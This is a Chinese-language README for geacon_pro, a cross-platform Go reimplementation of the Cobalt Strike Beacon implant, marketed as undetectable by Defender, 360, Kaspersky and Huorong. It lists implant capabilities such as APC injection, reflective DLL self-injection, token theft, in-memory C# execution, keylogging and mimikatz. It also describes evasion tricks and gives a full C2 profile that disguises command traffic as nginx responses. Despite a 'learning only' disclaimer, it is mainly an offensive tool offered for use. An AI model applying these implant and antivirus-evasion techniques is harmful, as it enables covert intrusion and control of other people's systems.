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跨平台重构了Cobaltstrike Beacon,适配了大部分Beacon的功能,行为对国内主流杀软免杀,支持4.1以上的版本。 A cobaltstrike Beacon bypass anti-virus, supports 4.1+ version.

Primary LanguageGo

geacon_pro

项目介绍

本项目基于geacon项目对cobaltstrike的beacon进行了重构,并适配了大部分Beacon的功能。

该项目仅用于对CobaltStrike协议的学习测试。请勿使用于任何非法用途,由此产生的后果自行承担。

本项目与好兄弟Z3ratu1共同开发,他实现了一版支持4.0版本的geacon_plus,我这边实现了一版支持4.1及以上版本的beacon,大致功能类似,有部分功能不同。

传统cs的免杀偏向于如何加载上线,但是杀软对beacon的特征查得非常严,尤其是卡巴这种查内存的,因此不如自己重构一个。

免杀主要体现在三个方面:

  • 由于是重构的,因此没有beacon的特征,针对beacon特征的杀软是检测不出来的。
  • golang本身具备一定的免杀性
  • 针对各功能实现了免杀,cs部分不免杀的功能得到了更换

暂时只测试了4.3版本,理论上来说4.1+版本均支持,如果有不支持的版本请及时通知我。目前上线arm架构机子可能会出现部分功能的错误,目前在调整。

如果有不免杀的地方请及时通知我。

由于项目刚做出来,目前的版本存在部分功能不完善的地方,如有需求请师傅们提出。

目前实现的功能具备免杀性,可过Defender、360核晶(除powershell)、卡巴斯基(除内存操作外,如注入原生cs的dll)、火绒

上述测试环境均为实体机

为了规避360对fork&&run操作的监控,本项目目前采用注入自己的方式来执行cs原生的dll,但是测试发现cs原生powerpick在注入自己执行的时候有时候会拿不到回显,在fork&&run模式下正常。因此可用execute-assembly执行我这里另一个powershell免杀的小工具,可绕过Defender、360等。

若想使用免杀bypassUAC的话,请execute-assembly执行该项目的Csharp版本,尽管Csharp程序不免杀,但是execute-assembly之后可过Defender与360。该项目dll版本自己编译一下是可以免杀的,但是需要落地并且需要用rundll32执行,因此并不推荐。

开发的过程中参考了鸡哥的数篇文章以及许许多多的项目,同时抓包对服务端返回的内容进行猜测,并对服务端java代码进行了部分的理解。

由于本人对二进制方向接触的不多,希望师傅们多多包涵,欢迎师傅们交流,欢迎指出问题。

如果有师傅对堆内存加密有好的解决思路欢迎来讨论,我的实现思路在实现细节里面

使用方法

本项目支持windows、linux、mac平台的使用。

基础的使用方法可参考原项目,windows编译时添加-ldflags "-H windowsgui -s -w"减小程序体积并取消黑框。linux和mac编译的时候添加-ldflags "-s -w"减小程序体积,然后后台运行。

目前项目有部分控制台输出内容,若想删除可在代码中删除。

最简单的使用方法即为修改config.go中的公钥以及C2服务器地址,然后C2profile更换为下面的示例即可。 C2profile示例已更新,C2profile适配的相关代码已更新,请师傅们重新下载一下,如果师傅们C2profile配置失败或者有更多需求的话请及时联系我

已将shell更换为createprocess的实现

实现功能

windows平台支持的功能:

sleep、shell、upload、download、exit、cd、pwd、file_browse、ps、kill、getuid、mkdir、rm、cp、mv、run、execute、drives、powershell-import、powershell、execute-assembly(不落地执行c#)、多种线程注入的方法(可自己更换源码)、shinject、dllinject、管道的传输、多种cs原生反射型dll注入(mimikatz、portscan、screenshot、keylogger等)、令牌的窃取与还原、令牌的制作、代理发包等功能

linux和mac平台支持的功能:

sleep、shell、upload、download、exit、cd、pwd、file_browse、ps、kill、getuid、mkdir、rm、cp、mv

文件管理部分支持图形化交互

C2profile:

10.31新增功能:

1、适配了metadata的header、parameter、uri-append形式,暂时不支持print,不过要注意prepend与parameter同时存在的时候好像会解析不了,请避免同时使用。

2、适配了http-post的id的prepend、append以及parameter、header形式。

3、适配了http-post的output的parameter、header、print形式,暂时不支持uri-append形式。

适配了C2profile流量侧的设置与部分主机侧的设置,支持的算法有base64、base64url、mask、netbios、netbiosu、详情见config.go,这里给出示例C2profile,修改完C2profile后请不要忘记在config.go中对相应位置进行修改:

# default sleep time is 60s
set sleeptime "3000";

https-certificate {
    set C "KZ";
    set CN "foren.zik";
    set O "NN Fern Sub";
    set OU "NN Fern";
    set ST "KZ";
    set validity "365";
}

# define indicators for an HTTP GET
http-get {

	set uri "/www/handle/doc";

	client {
		#header "Host" "aliyun.com";
		# base64 encode session metadata and store it in the Cookie header.
		metadata {
			base64url;
			prepend "SESSIONID=";
			header "Cookie";
		}
	}

	server {
		# server should send output with no changes
		#header "Content-Type" "application/octet-stream";
		header "Server" "nginx/1.10.3 (Ubuntu)";
    		header "Content-Type" "application/octet-stream";
        	header "Connection" "keep-alive";
        	header "Vary" "Accept";
        	header "Pragma" "public";
        	header "Expires" "0";
        	header "Cache-Control" "must-revalidate, post-check=0, pre-check=0";

		output {
			mask;
			netbios;
			prepend "data=";
			append "%%";
			print;
		}
	}
}

# define indicators for an HTTP 
http-post {
	# Same as above, Beacon will randomly choose from this pool of URIs [if multiple URIs are provided]
	set uri "/IMXo";
	client {
		#header "Content-Type" "application/octet-stream";				

		# transmit our session identifier as /submit.php?id=[identifier]
		
		id {				
			mask;
			netbiosu;
			prepend "user=";
			append "%%";
			header "User";
		}

		# post our output with no real changes
		output {
			mask;
			base64url;
			prepend "data=";
			append "%%";		
			print;
		}
	}

	# The server's response to our HTTP POST
	server {
		header "Server" "nginx/1.10.3 (Ubuntu)";
    		header "Content-Type" "application/octet-stream";
        	header "Connection" "keep-alive";
       	 	header "Vary" "Accept";
        	header "Pragma" "public";
        	header "Expires" "0";
        	header "Cache-Control" "must-revalidate, post-check=0, pre-check=0";

		# this will just print an empty string, meh...
		output {
			mask;
			netbios;
			prepend "data=";
			append "%%";
			print;
		}
	}
}

post-ex {
    set spawnto_x86 "c:\\windows\\syswow64\\rundll32.exe";
    set spawnto_x64 "c:\\windows\\system32\\rundll32.exe";
    
    set thread_hint "ntdll.dll!RtlUserThreadStart+0x1000";
    set pipename "DserNamePipe##, PGMessagePipe##, MsFteWds##";
    set keylogger "SetWindowsHookEx";
}

目前需要改进的地方:

  • 堆内存加密目前不稳定,暂未正式使用
  • 修改部分功能下中文乱码的问题
  • 部分功能暂未支持x86系统(最近太忙了,会尽快改出来)

主体代码结构

config

  • 公钥、C2服务器地址、https通信、超时的时间、代理等设置
  • C2profile设置

crypt

  • 通信需要的AES、RSA加密算法
  • C2profile中加密算法的实现

packet

  • commands为各个平台下部分功能的实现
  • execute_assembly为windows平台下内存执行不落地c#的代码
  • heap为windows平台下堆内存加密代码
  • http为发包的代码
  • inject为windows平台下进程注入的代码
  • jobs为windows平台下注入cs原生反射型dll并管道回传的代码
  • packet为通信所需的部分功能
  • token为windows平台下令牌相关的功能

services

对packet里面的功能进行了跨平台封装,方便main.go调用

sysinfo

  • meta为元信息的处理
  • sysinfo为不同平台下有关进程与系统的判断及处理

main.go

主方法对各个命令进行了解析与执行,以及对结果和错误进行了返回

部分功能的实现细节

shell

shell之前直接调用了golang的os/exec库,现在更改为底层CreateProcess的实现,与run的区别仅在于shell调用了cmd。

run && execute

run和execute的区别在于,run可以返回执行的结果而execute无回显。底层的实现差别就在于run会通过管道回传执行的结果而execute不会。

shell、run和execute的实现在没有窃取令牌的时候调用了CreateProcess,窃取令牌后调用CreateProcessWithTokenW以令牌权限来执行命令。

powershell-import

powershell-import部分的实现与cs的思路一样,先把输入的powershell module保存,之后在执行powershell命令的时候本地开一个端口并把module放上去,powershell直接请求该端口进行不落地的powershell module加载,不落地加载powershell module可以对部分杀软进行绕过。

powershell

powershell命令直接调用了powershell,会被360监控,可以尝试用免杀的方式执行。

execute-assembly

execute-assembly的实现与cs原生的实现不太一样,cs的beacon从服务端返回的内容的主体部分是c#的程序以及开.net环境的dll。cs的beacon首先拉起来一个进程(默认是rundll32),之后把用来开环境的dll注入到该进程中,然后将c#的程序注入到该进程并执行。考虑到步骤过于繁琐,并且容易拿不到执行的结果,我这里直接用该项目实现了execute-assembly的功能,但未对全版本windows进行测试。

进程注入

进程注入shinject和dllinject采用的是APC注入。

反射型dll注入

cs原生反射型dll注入的思路是先拉起来一个rundll32进程,之后把dll注进去执行,但是会被360核晶报远程线程注入。我尝试使用了native或者unhook等方法均失败,最后发现了将dll注入自己是不会被查杀的,因此考虑将cs的fork&run的方式改为注入自己的方式。 由于cs是fork&&run的形式,因此部分dll在结束的时候要执行ExitProcess。

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但是我们注入自己的话就会把木马主线程退出,因此需要对下发的dll进行简单的修改,将dll中的ExitProcess字符串替换为ExitThread+\x00即可。

dll通过管道将结果异步地回传给服务端。目前的dll反射注入采用了注入自己的方法,后续会实现用户可通过配置文件进行注入方式的更改。

令牌

令牌的部分目前实现了令牌的窃取、还原、制作。

上线内网不出网主机

考虑到渗透中常常存在着内网主机上线的情况,即边缘主机出网,内网主机不出网的情况。目前实现的木马暂不支持代理转发的功能,但是可以通过设置config.go中的proxy参数,通过边缘主机的代理进行木马的上线。即如果在边缘主机的8080端口开了个http代理,那么在config.go中设置ProxyOn为true,Proxy为http://ip:8080即可令内网的木马上线我们的C2服务器。

堆内存加密

堆内存加密的方法实现参考了该文章。在sleep之前先将除主线程之外的线程挂起,之后遍历堆对堆内存进行加密。sleep结束后解密并将线程恢复。不过该功能较为不稳定,有时在进行堆遍历的时候会突然卡住或者直接退出,并且考虑到后台可能会有keylogger或portscan这种的持久任务,将线程全部挂起有些不合适,如果有师傅有好的想法欢迎来讨论。同时我不太理解为什么go的time.Sleep函数在其他线程都挂起之后调用会一直沉睡,而调用windows.SleepEx就不会有问题,还望师傅们解答。